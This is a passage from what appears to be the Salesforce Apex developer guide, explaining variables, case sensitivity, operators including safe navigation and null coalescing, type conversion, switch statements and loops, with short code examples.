All variables are initialized to null if they aren’t assigned a value. For instance, in the following example, i, and k are assigned values,
while the integer variable j and the boolean variable b are set to null because they aren’t explicitly initialized.
Integer i = 0, j, k = 1;
Boolean b;

Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system. This isn’t the
case. Like all other variables, boolean variables are null if not assigned a value explicitly.

Variable Scope
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks can’t redefine a variable name
that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i;
{
// Integer i; This declaration is not allowed
}

for (Integer j = 0; j < 10; j++);

for (Integer j = 0; j < 10; j++);

Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:
• Variable and method names are case-insensitive. For example:
Integer I;
//Integer i;

• References to object and field names are case-insensitive. For example:

Account a1;
ACCOUNT a2;

• SOQL and SOSL statements are case- insensitive. For example:

Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];

Note: You’ll learn more about sObjects, SOQL, and SOSL later in this guide.

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Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce
user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based
on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this
behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently,
in Apex, the following expressions all evaluate to true:
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));

Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because
you’re trying to compare a letter to a null value.

SEE ALSO:
Naming Conventions

Constants
Apex constants are variables whose values don’t change after being initialized once. Constants can be defined using the final keyword.
The final keyword means that the variable can be assigned at most once, either in the declaration itself, or with a static initializer
method if the constant is defined in a class. This example declares two constants. The first is initialized in the declaration statement. The
second is assigned a value in a static block by calling a static method.
public class myCls {
static final Integer PRIVATE_INT_CONST = 200;
static final Integer PRIVATE_INT_CONST2;

public static Integer calculate() {

return 2 + 7;
}

static {
PRIVATE_INT_CONST2 = calculate();
}
}

For more information, see Using the final Keyword on page 84.

Expressions and Operators

An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.

Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
Expression Operators
Expressions can be joined to one another with operators to create compound expressions.
Safe Navigation Operator
Use the safe navigation operator (?.) to replace explicit, sequential checks for null references. This operator short-circuits expressions
that attempt to operate on a null value and returns null instead of throwing a NullPointerException.

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Null Coalescing Operator

The ?? operator returns its right-hand side operand when its left-hand side operand is null. Similar to the safe navigation operator
(?.), the null coalescing operator (??) replaces verbose and explicit checks for null references in code.
Operator Precedence
Operators are interpreted in order, according to rules.
Comments
Both single and multiline comments are supported in Apex code.

SEE ALSO:
Expanding sObject and List Expressions

Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
In Apex, an expression is always one of the following types:
• A literal expression. For example:
1 + 1

• A new sObject, Apex object, list, set, or map. For example:

new Account(<field_initializers>)
new Integer[<n>]
new Account[]{<elements>}
new List<Account>()
new Set<String>{}
new Map<String, Integer>()
new myRenamingClass(string oldName, string newName)

• Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and
most sObject or Apex object field references. For example:
Integer i
myList[3]
myContact.name
myRenamingClass.oldName

• Any sObject field reference that is not an L-value, including:

– The ID of an sObject in a list (see Lists)
– A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type
of expression yields a query result, much like SOQL and SOSL queries.

• A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme'];
Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman'];
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];

For information, see SOQL and SOSL Queries on page 165.

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• A static or instance method invocation. For example:

System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));

Expression Operators
Expressions can be joined to one another with operators to create compound expressions.
Apex supports the following operators:

Operator Syntax Description

= x = y Assignment operator (Right associative). Assigns the value of y to the L-value
x. The data type of x must match the data type of y and can’t be null.

+= x += y Addition assignment operator (Right associative). Adds the value of y to the

original value of x and then reassigns the new value to x. See + for additional
information. x and y can’t be null.

*= x *= y Multiplication assignment operator (Right associative). Multiplies the value of

y with the original value of x and then reassigns the new value to x.

Note: x and y must be Integers or Doubles or a combination.

x and y can’t be null.

-= x -= y Subtraction assignment operator (Right associative). Subtracts the value of y

from the original value of x and then reassigns the new value to x.

Note: x and y must be Integers or Doubles or a combination.

x and y can’t be null.

/= x /= y Division assignment operator (Right associative). Divides the original value of x

with the value of y and then reassigns the new value to x.

Note: x and y must be Integers or Doubles or a combination.

x and y can’t be null.

|= x |= y OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean,

are both false, then x remains false. Otherwise x is assigned the value of true. x
and y can’t be null.

&= x &= y AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both true, then x remains true. Otherwise x is assigned the value of false. x
and y can’t be null.

<<= x <<= y Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits
so that the high-order bits are lost and the new right bits are set to 0. This value is
then reassigned to x.

>>= x >>= y Bitwise shift right signed assignment operator. Shifts each bit in x to the right
by y bits so that the low-order bits are lost and the new left bits are set to 0 for

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Operator Syntax Description

positive values of y and 1 for negative values of y. This value is then reassigned to
x.

>>>= x >>>= y Bitwise shift right unsigned assignment operator. Shifts each bit in x to the
right by y bits so that the low-order bits are lost and the new left bits are set to 0
for all values of y. This value is then reassigned to x.

? : x ? y : z Ternary operator (Right associative). This operator acts as a short-hand for

if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z is the
result.

Note: x can’t be null.

&& x && y AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
true, then the expression evaluates to true. Otherwise the expression evaluates to
false.
Note:
• && has precedence over ||
• This operator exhibits short-circuiting behavior, which means y is evaluated
only if x is true.
• x and y can’t be null.

|| x || y OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both

false, then the expression evaluates to false. Otherwise the expression evaluates to
true.
Note:
• && has precedence over ||
• This operator exhibits short-circuiting behavior, which means y is evaluated
only if x is false.
• x and y can’t be null.

== x == y Equality operator. If the value of x equals the value of y, the expression evaluates
to true. Otherwise the expression evaluates to false.

Note:
• Unlike Java, == in Apex compares object value equality not reference
equality, except for user-defined types. Therefore:
– String comparison using == is case-insensitive and is performed
according to the locale of the context user
– ID comparison using == is case-sensitive and doesn’t distinguish
between 15-character and 18-character formats
– User-defined types are compared by reference, which means that
two objects are equal only if they reference the same location in
memory. You can override this default comparison behavior by

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Operator Syntax Description

providing equals and hashCode methods in your class to

compare object values instead.

• For sObjects and sObject arrays, == performs a deep check of all sObject
field values before returning its result. Likewise for collections and built-in
Apex objects.
• For records, every field must have the same value for == to evaluate to
true.
• x or y can be the literal null.
• The comparison of any two values can never result in null.
• SOQL and SOSL use = for their equality operator and not ==. Although
Apex and SOQL and SOSL are strongly linked, this unfortunate syntax
discrepancy exists because most modern languages use = for assignment
and == for equality. The designers of Apex deemed it more valuable to
maintain this paradigm than to force developers to learn a new
assignment operator. As a result, Apex developers must use == for
equality tests in the main body of the Apex code, and = for equality in
SOQL and SOSL queries.

=== x === y Exact equality operator. If x and y reference the exact same location in memory
the expression evaluates to true. Otherwise the expression evaluates to false.

< x < y Less than operator. If x is less than y, the expression evaluates to true. Otherwise
the expression evaluates to false.

Note:
• Unlike other database stored procedures, Apex doesn’t support tri-state
Boolean logic and the comparison of any two values can never result in
null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes,
the expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object.
Otherwise a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y can’t be Booleans.
• The comparison of two strings is performed according to the locale of
the context user and is case-insensitive.

> x > y Greater than operator. If x is greater than y, the expression evaluates to true.
Otherwise the expression evaluates to false.

Note:
• The comparison of any two values can never result in null.

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Operator Syntax Description

• If x or y equal null and are Integers, Doubles, Dates, or Datetimes,

the expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object.
Otherwise a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y can’t be Booleans.
• The comparison of two strings is performed according to the locale of
the context user and is case-insensitive.

<= x <= y Less than or equal to operator. If x is less than or equal to y, the expression
evaluates to true. Otherwise the expression evaluates to false.

Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes,
the expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object.
Otherwise a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y can’t be Booleans.
• The comparison of two strings is performed according to the locale of
the context user and is case-insensitive.

>= x >= y Greater than or equal to operator. If x is greater than or equal to y, the
expression evaluates to true. Otherwise the expression evaluates to false.

Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes,
the expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object.
Otherwise a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y can’t be Booleans.
• The comparison of two strings is performed according to the locale of
the context user and is case-insensitive.

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Operator Syntax Description

!= x != y Inequality operator. If the value of x doesn’t equal the value of y, the expression
evaluates to true. Otherwise the expression evaluates to false.

Note:
• String comparison using != is case-insensitive
• Unlike Java, != in Apex compares object value equality not reference
equality, except for user-defined types.
• For sObjects and sObject arrays, != performs a deep check of all sObject
field values before returning its result.
• For records, != evaluates to true if the records have different values for
any field.
• User-defined types are compared by reference, which means that two
objects are different only if they reference different locations in memory.
You can override this default comparison behavior by providing equals
and hashCode methods in your class to compare object values instead.
• x or y can be the literal null.
• The comparison of any two values can never result in null.

!== x !== y Exact inequality operator. If x and y don’t reference the exact same location in
memory, the expression evaluates to true. Otherwise the expression evaluates to
false.

+ x + y Addition operator. Adds the value of x to the value of y according to the

following rules:
• If x and y are Integers or Doubles, the operator adds the value of x to the
value of y. If a Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is incremented by
the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that is
incremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
• If x is a String and y is a String or any other type of non-null argument,
concatenates y to the end of x.

- x - y Subtraction operator. Subtracts the value of y from the value of x according to

the following rules:
• If x and y are Integers or Doubles, the operator subtracts the value of y from
the value of x. If a Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is decremented by
the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that is
decremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.

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Operator Syntax Description

* x * y Multiplication operator. Multiplies x, an Integer or Double, with y, another
Integer or Double. If a double is used, the result is a Double.

/ x / y Division operator. Divides x, an Integer or Double, by y, another Integer or Double.

If a double is used, the result is a Double.

! !x Logical complement operator. Inverts the value of a Boolean so that true becomes
false and false becomes true.

- -x Unary negation operator. Multiplies the value of x, an Integer or Double, by -1.

The positive equivalent + is also syntactically valid but doesn’t have a mathematical
effect.

++ x++ Increment operator. Adds 1 to the value of x, a variable of a numeric type. If

++x prefixed (++x), the expression evaluates to the value of x after the increment. If
postfixed (x++), the expression evaluates to the value of x before the increment.

-- x-- Decrement operator. Subtracts 1 from the value of x, a variable of a numeric type.
--x If prefixed (--x), the expression evaluates to the value of x after the decrement. If
postfixed (x--), the expression evaluates to the value of x before the decrement.

& x & y Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so
that the result bit is set to 1 if both of the bits are set to 1.

| x | y Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that
the result bit is set to 1 if at least one of the bits is set to 1.

^ x ^ y Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0.

^= x ^= y Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0. Assigns the result of the exclusive OR operation to x.

<< x << y Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the
high-order bits are lost and the new right bits are set to 0.

>> x >> y Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so
that the low-order bits are lost and the new left bits are set to 0 for positive values
of y and 1 for negative values of y.

>>> x >>> y Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits
so that the low-order bits are lost and the new left bits are set to 0 for all values of
y.

~ ~x Bitwise Not or Complement operator. Toggles each binary digit of x, converting

0 to 1 and 1 to 0. Boolean values are converted from True to False and vice
versa.

() (x) Parentheses. Elevates the precedence of an expression x so that it’s evaluated

first in a compound expression.

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Operator Syntax Description

?. x?.y Safe navigation operator. Short-circuits expressions that attempt to operate on
a null value, and returns null instead of throwing a NullPointerException. If the
left-hand side of the chain expression evaluates to null, the right-hand side of the
chain expression isn’t evaluated.

Safe Navigation Operator

Use the safe navigation operator (?.) to replace explicit, sequential checks for null references. This operator short-circuits expressions
that attempt to operate on a null value and returns null instead of throwing a NullPointerException.

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
If the left-hand-side of the chain expression evaluates to null, the right-hand-side isn’t evaluated. Use the safe navigation operator (?.)
in method, variable, and property chaining. The part of the expression that isn’t evaluated can include variable references, method
references, or array expressions.

Note: All Apex types are implicitly nullable and can hold a null value returned from the operator.

Examples
• This example first evaluates a, and returns null if a is null. Otherwise the return value is a.b.
a?.b // Evaluates to: a == null ? null : a.b

• This example returns null if a[x] evaluates to null. If a[x] doesn’t evaluate to null and aMethod() returns null, then this
expression throws a NullPointerException.
a[x]?.aMethod().aField // Evaluates to null if a[x] == null

• This example returns null if a[x].aMethod() evaluates to null.

a[x].aMethod()?.aField

• This example indicates that the type of the expression is the same whether the safe navigation operator is used in the expression or
not.
Integer x = anObject?.anIntegerField; // The expression is of type Integer because the
field is of type Integer

• This example shows a single statement replacing a block of code that checks for nulls.
// Previous code checking for nulls
String profileUrl = null;
if (user.getProfileUrl() != null) {
profileUrl = user.getProfileUrl().toExternalForm();
}

// New code using the safe navigation operator

String profileUrl = user.getProfileUrl()?.toExternalForm();

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• This example shows a single-row SOQL query using the safe navigation operator.
// Previous code checking for nulls
results = [SELECT Name FROM Account WHERE Id = :accId];
if (results.size() == 0) { // Account was deleted
return null;
}
return results[0].Name;

// New code using the safe navigation operator

return [SELECT Name FROM Account WHERE Id = :accId]?.Name;

Table 1: Safe Navigation Operator Use-Cases

Allowed use-case Example More information
Method or variable or parameter chains aObject?.aMethod(); Can be used as a top-level statement.

Using parentheses, for example in a cast. ((T)a1?.b1)?.c1() The operator skips the method chain up to
the first closing parenthesis. By adding the
operator after the parenthesis, the code
safeguards the whole expression. If the
operator is used elsewhere, and not after
the parenthesis, the whole cast expression
isn’t be safeguarded. For example, the
behavior of
//Incorrect use of safe
navigation operator
((T)a1?.b1).c1()

is equivalent to:

T ref = null;
if (a1 != null) {
ref = (T)a1.b1;
}
result = ref.c1();

SObject chaining String s = An SObject expression evaluates to null

contact.Account?.BillingCity; when the relationship is null. The behavior
is equivalent to String s =
contact.Account.BillingCity.

SOQL Queries String s = [SELECT LastName If the SOQL query returns no objects, then
FROM Contact]?.LastName; the expression evaluates to null. The
behavior is equivalent to:
List<Contact> contacts =
[SELECT LastName FROM
Contact];
String s;
if (contacts.size() == 0) {

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Allowed use-case Example More information

s = null; // New behavior

when using Safe Navigation.
Earlier, this would throw
an exception. }
else if (contacts.size() ==
1) {
s =
contacts.get(0).LastName; }
else { // contacts.size() >
1 throw new
QueryException(...); }

You can’t use the Safe Navigation Operator in certain cases. Attempting to use the operator in these ways causes an error during
compilation:
• Types and static expressions with dots. For example:
– Namespaces
– {Namespace}.{Class}
– Trigger.new
– Flow.interview.{flowName}
– {Type}.class

• Static variable access, method calls, and expressions. For example:

– AClass.AStaticMethodCall()
– AClass.AStaticVariable
– String.format('{0}', 'hello world')
– Page.{pageName}

• Assignable expressions. For example:

– foo?.bar = 42;
– ++foo?.bar;

• SOQL bind expressions. For example:

class X { public String query = 'xyz';}
X x = new X();
List<Account> accounts = [SELECT Name FROM Account WHERE Name = :X?.query]
List<List<SObject>> moreAccounts = [FIND :X?.query IN ALL FIELDS
RETURNING Account(Name)];

• With addError() on SObject scalar fields. For example:

Contact c;
c.LastName?.addError('The field must have a value');

Note: You can use the operator with addError() on SObjects, including lookup and master-detail fields.

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Null Coalescing Operator

The ?? operator returns its right-hand side operand when its left-hand side operand is null. Similar to the safe navigation operator (?.),
the null coalescing operator (??) replaces verbose and explicit checks for null references in code.
The null coalescing operator is a binary operator in the form a ?? b that returns a if a isn’t null, and otherwise returns b. The operator
is left-associative. The left-hand operand is evaluated only one time. The right-hand operand is only evaluated if the left-hand operand
is null.
You must ensure type compatibility between the operands. For example, in the expression: objectZ result = objectA ??
objectB, both objectA and objectB must be instances of objectZ to avoid a compile-time error.
Here’s a comparison that illustrates the operator usage. Before the Null Coalescing Operator, you used:
Integer notNullReturnValue = (anInteger != null) ? anInteger : 100;

With the Null Coalescing Operator, use:

Integer notNullReturnValue = anInteger ?? 100;

While using the null coalescing operator, always keep operator precedence in mind. In some cases, using parentheses is necessary to
obtain the desired results. For example, the expression top ?? 100 - bottom ?? 0 evaluates to top ?? (100 - bottom
?? 0) and not to (top ?? 100) - (bottom ?? 0).
Apex supports assignment of a single resultant record from a SOQL query, but throws an exception if there are no rows returned by the
query. The null coalescing operator can be used to gracefully deal with the case where the query doesn’t return any rows. If a SOQL
query is used as the left-hand operand of the operator and rows are returned, then the null coalescing operator returns the query results.
If no rows are returned, the null coalescing operator returns the right-hand operand.

Warning: Salesforce recommends against using multiple SOQL queries in a single statement that also uses the null coalescing
operator.
These examples work with Account objects.
Account defaultAccount = new Account(name = 'Acme');
// Left operand SOQL is empty, return defaultAccount from right operand:
Account a = [SELECT Id FROM Account
WHERE Id = '001000000FAKEID'] ?? defaultAccount;
Assert.areEqual(defaultAccount, a);

// If there isn't a matching Account or the Billing City is null, replace the value
string city = [Select BillingCity
From Account
Where Id = '001xx000000001oAAA']?.BillingCity;
System.debug('Matches count: ' + city?.countMatches('San Francisco') ?? 0 );

Usage
There are some restrictions on using the null coalescing operator.
• You can’t use the null coalescing operator as the left side of an assignment operator in an assignment.
– foo??bar = 42;// This is not a valid assignment
– foo??bar++; // This is not a valid assignment

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• SOQL bind expressions don’t support the null coalescing operator.

class X { public String query = 'xyz';}
X x = new X();
List<Account> accounts = [SELECT Name FROM Account WHERE Name = :X??query]
List<List<SObject>> moreAccounts = [FIND :X??query IN ALL FIELDS
RETURNING Account(Name)];

SEE ALSO:
Operator Precedence
Using SOQL Queries That Return One Record

Operator Precedence
Operators are interpreted in order, according to rules.
Apex uses the following operator precedence rules:

Precedence Operators Description

1 {} () ++ -- Grouping and prefix increments and decrements

2 ~ ! -x +x (type) new Unary operators, additive operators, type cast and object
creation

3 * / Multiplication and division

4 + - Addition and subtraction

5 << >> >>> Shift Operators

6 < <= > >= instanceof Greater-than and less-than comparisons, reference tests

7 == != Comparisons: equal and not-equal

8 & Bitwise AND

9 ^ Bitwise XOR

10 | Bitwise OR

11 && Logical AND

12 || Logical OR

13 ?? Null Coalescing

14 ?: Ternary

15 = += -= *= /= &= <<= >>= >>>= Assignment operators

Comments
Both single and multiline comments are supported in Apex code.

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• To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example:
Integer i = 1; // This comment is ignored by the parser

• To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple
lines without getting interpreted by the
parser. */

Assignment Statements
An assignment statement is any statement that places a value into a variable.
An assignment statement generally takes one of two forms:
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];

In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include:
• A simple variable. For example:
Integer i = 1;
Account a = new Account();
Account[] accts = [SELECT Id FROM Account];

• A de-referenced list element. For example:

ints[0] = 1;
accts[0].Name = 'Acme';

• An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');

// IDs cannot be set prior to an insert call

// a.Id = '00300000003T2PGAA0';

// Instead, insert the record. The system automatically assigns it an ID.

insert a;

// Fields also must be writable for the context user

// a.CreatedDate = System.today(); This code is invalid because
// createdDate is read-only!

// Since the account a has been inserted, it is now possible to

// create a new contact that is related to it
Contact c = new Contact(LastName = 'Roth', Account = a);

// Notice that you can write to the account name directly through the contact
c.Account.Name = 'salesforce.com';

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Assignment is always done by reference. For example:

Account a = new Account();
Account b;
Account[] c = new Account[]{};
a.Name = 'Acme';
b = a;
c.add(a);

// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.Name, 'Acme');
System.assertEquals(c[0].Name, 'Acme');

Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()};
Account[] b = a;
a[0].Name = 'Acme';
System.assert(b[0].Name == 'Acme');

In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Expression Operators on page 39.

Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be
implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted,
without using a method.
Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion.
The following is the hierarchy for numbers, from lowest to highest:
1. Integer
2. Long
3. Double
4. Decimal

Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the
higher type of number.
Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and
implicit object conversion is never allowed.
In addition to numbers, other data types can be implicitly converted. The following rules apply:
• IDs can always be assigned to Strings.
• Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime
exception is thrown.
• The instanceOf keyword can always be used to test whether a string is an ID.

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Additional Considerations for Data Types

Data Types of Numeric Values
Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal. For example,
the expression Long d = 123; declares a Long variable named d and assigns it to an Integer numeric value (123), which is
implicitly converted to a Long. The Integer value on the right hand side is within the range for Integers and the assignment succeeds.
However, if the numeric value on the right hand side exceeds the maximum value for an Integer, you get a compilation error. In this
case, the solution is to append L to the numeric value so that it represents a Long value which has a wider range, as shown in this
example: Long d = 2147483648L;.
Overflow and Underflow of Data Type Values
Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow and values
lower than the minimum value of the current type are said to be underflow. Apex doesn’t throw an exception for overflow and
underflow of data type values. For example, Integer i = 2147483647 + 1; yields a value of –2147483648 because
2147483647 is the maximum value for an Integer, so adding one to it wraps the value around to the minimum negative value for
Integers: –2147483648. Similarly, subtracting one from the minimum integer -2,147,483,648 wraps the value around to the maximum
value for Integers: 2,147,483,647.
If arithmetic computations generate results larger than the maximum value for the current type, the end result will be incorrect
because the computed values that are larger than the maximum will overflow. For example, the expression Long MillsPerYear
= 365 * 24 * 60 * 60 * 1000; results in an incorrect result because the products of Integers on the right hand side
are larger than the maximum Integer value and they overflow. As a result, the final product isn't the expected one. You can avoid
this by ensuring that the type of numeric values or variables you are using in arithmetic operations are large enough to hold the
results. In this example, append L to numeric values to make them Long so the intermediate products will be Long as well and no
overflow occurs. The following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long
numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);

Loss of Fractions in Divisions

When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing any implicit
conversions to a Double or Decimal. For example, Double d = 5/3; returns 1.0 because the actual result (1.666...) is an Integer
and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional value, ensure that you are using Double
or Decimal numeric values in the division. For example, Double d = 5.0/3.0; returns 1.6666666666666667 because 5.0
and 3.0 represent Double values, which results in the quotient being a Double as well and no fractional value is lost.
Conversion of Date to Datetime
Apex supports both implicit and explicit casting of Date values to Datetime, with the time component being zeroed out in the
resulting Datetime value.

Control Flow Statements

Apex provides if-else statements, switch statements, and loops to control the flow of code execution. Statements are generally executed
line by line, in the order they appear. With control flow statements, you can make Apex code execute based on a certain condition, or
have a block of code execute repeatedly.

Conditional (If-Else) Statements

The conditional statement in Apex works similarly to Java.

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Switch Statements
Apex provides a switch statement that tests whether an expression matches one of several values and branches accordingly.
Loops
Apex supports five types of procedural loops.

Conditional (If-Else) Statements

The conditional statement in Apex works similarly to Java.
if ([Boolean_condition])
// Statement 1
else
// Statement 2

The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;

is equivalent to:
Integer x, sign;
// Your code
if (x <= 0) {
if (x == 0) {
sign = 0;
} else {
sign = -1;
}
}

Repeated else if statements are also allowed. For example:

if (place == 1) {
medal_color = 'gold';
} else if (place == 2) {
medal_color = 'silver';
} else if (place == 3) {
medal_color = 'bronze';
} else {
medal_color = null;
}

Switch Statements
Apex provides a switch statement that tests whether an expression matches one of several values and branches accordingly.
The syntax is:
switch on expression {
when value1 { // when block 1
// code block 1
}
when value2 { // when block 2

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// code block 2
}
when value3 { // when block 3
// code block 3
}
when else { // default block, optional
// code block 4
}
}

The when value can be a single value, multiple values, or sObject types. For example:
when value1 {
}

when value2, value3 {

}

when TypeName VariableName {

}

The switch statement evaluates the expression and executes the code block for the matching when value. If no value matches, the
when else code block is executed. If there isn’t a when else block, no action is taken.

Note: There is no fall-through. After the code block is executed, the switch statement exits.

Apex switch statement expressions can be one of the following types.

• Integer
• Long
• sObject
• String
• Enum

When Blocks
Each when block has a value that the expression is matched against. These values can take one of the following forms.
• when literal {} (a when block can have multiple, comma-separated literal clauses)
• when SObjectType identifier {}
• when enum_value {}
The value null is a legal value for all types.
Each when value must be unique. For example, you can use the literal x only in one when block clause. A when block is matched
one time at most.

When Else Block

If no when values match the expression, the when else block is executed.

Note: Salesforce recommends including a when else block, especially with enum types, although it isn’t required. When you
build a switch statement using enum values provided by a managed package, your code might not behave as expected if a

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new version of the package contains additional enum values. You can prevent this problem by including a when else block
to handle unanticipated values.
If you include a when else block, it must be the last block in the switch statement.

Examples with Literals

You can use literal when values for switching on Integer, Long, and String types. String clauses are case-sensitive. For example, “orange”
is a different value than “ORANGE.”
Single Value Example
The following example uses integer literals for when values.
switch on i {
when 2 {
System.debug('when block 2');
}
when -3 {
System.debug('when block -3');
}
when else {
System.debug('default');
}
}

Null Value Example

Because all types in Apex are nullable, a when value can be null.
switch on i {
when 2 {
System.debug('when block 2');
}
when null {
System.debug('bad integer');
}
when else {
System.debug('default ' + i);
}
}

Multiple Values Examples

The Apex switch statement doesn’t fall-through, but a when clause can include multiple literal values to match against. You can
also nest Apex switch statements to provide multiple execution paths within a when clause.
switch on i {
when 2, 3, 4 {
System.debug('when block 2 and 3 and 4');
}
when 5, 6 {
System.debug('when block 5 and 6');
}
when 7 {
System.debug('when block 7');
}

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when else {
System.debug('default');
}
}

Method Example
Instead of switching on a variable expression, the following example switches on the result of a method call.
switch on someInteger(i) {
when 2 {
System.debug('when block 2');
}
when 3 {
System.debug('when block 3');
}
when else {
System.debug('default');
}
}

Example with sObjects

Switching on an sObject value allows you to implicitly perform instanceof checks and casting. For example, consider the following
code that uses if-else statements.
if (sobject instanceof Account) {
Account a = (Account) sobject;
System.debug('account ' + a);
} else if (sobject instanceof Contact) {
Contact c = (Contact) sobject;
System.debug('contact ' + c);
} else {
System.debug('default');
}

You can replace and simplify this code with the following switch statement.
switch on sobject {
when Account a {
System.debug('account ' + a);
}
when Contact c {
System.debug('contact ' + c);
}
when null {
System.debug('null');
}
when else {
System.debug('default');
}
}

Note: You can use only one sObject type per when block.

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Example with Enums

A switch statement that uses enum when values doesn’t require a when else block, but it is recommended. You can use multiple
enum values per when block clause.
switch on season {
when WINTER {
System.debug('boots');
}
when SPRING, SUMMER {
System.debug('sandals');
}
when else {
System.debug('none of the above');
}
}

Loops
Apex supports five types of procedural loops.
These types of procedural loops are supported:
• do {statement} while (Boolean_condition);
• while (Boolean_condition) statement;
• for (initialization; Boolean_exit_condition; increment) statement;
• for (variable : array_or_set) statement;
• for (variable : [inline_soql_query]) statement;
All loops allow for loop control structures:
• break; exits the entire loop
• continue; skips to the next iteration of the loop

1. Do-While Loops
2. While Loops
3. For Loops

Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
do {
code_block
} while (condition);

Note: Curly braces ({}) are always required around a code_block.

As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently,
the code block always runs at least once.

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As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;

do {
System.debug(count);
count++;
} while (count < 11);

While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
while (condition) {
code_block
}

Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.

Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is
possible for the code block to never execute.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;

while (count < 11) {

System.debug(count);
count++;
}

For Loops
Apex supports three variations of the for loop:
• The traditional for loop:

for (init_stmt; exit_condition; increment_stmt) {

code_block
}

• The list or set iteration for loop:

for (variable : list_or_set) {

code_block
}

